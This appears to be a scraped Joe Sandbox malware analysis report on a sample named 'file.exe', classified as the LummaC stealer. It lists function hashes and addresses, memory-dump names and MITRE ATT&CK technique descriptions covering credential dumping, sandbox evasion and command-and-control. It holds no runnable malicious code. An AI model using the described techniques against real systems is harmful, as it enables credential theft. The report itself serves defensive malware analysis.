Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: m%s$!EJK
API String ID: 237503144-2691780584
Opcode ID: 7d6425c1f4a8401919099e1daee6bdc0c9ed9ed6b9f877bbee6e2e6765203442
Instruction ID: ebe704c46123fb7a90e9c9df11293569809c2c0517b6b464475f72d88d70862a
Opcode Fuzzy Hash: 7d6425c1f4a8401919099e1daee6bdc0c9ed9ed6b9f877bbee6e2e6765203442
Instruction Fuzzy Hash: 102186714083949FD314CF15D891B5BBBF4FB86348F110A1DF9A1AB280D775AA05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0100284B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FFDEA6: __getptd.LIBCMT ref: 00FFDEAC
Part of subcall function 00FFDEA6: __getptd.LIBCMT ref: 00FFDEBC

__getptd.LIBCMT ref: 0100285A

Part of subcall function 00FFED41: __amsg_exit.LIBCMT ref: 00FFED51

__getptd.LIBCMT ref: 01002868

Strings

csm, xrefs: 01002876

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 19a090d337b5289cb2aa2f64d74c49aadee50cee4b888bae0250ae30ba76a082
Instruction ID: eb854e7c24e8402adf2684cae17b08a850fe99ad869ace5513357ecbae9ae0f4
Opcode Fuzzy Hash: 19a090d337b5289cb2aa2f64d74c49aadee50cee4b888bae0250ae30ba76a082
Instruction Fuzzy Hash: A601D138802205DBEF7A9F28C8487BDB7F5AF10311F2804AEF4805A6E1CB359784DB60

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
file.exe

Function 00FC3943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Function 00FC4084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Function 00FC4087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Function 00FA4740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Function 00FBD690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Function 00FB4950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Function 00FC4AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Function 00FC4F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Function 00FBDF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Function 00FD1DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Function 00FFD7D7 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE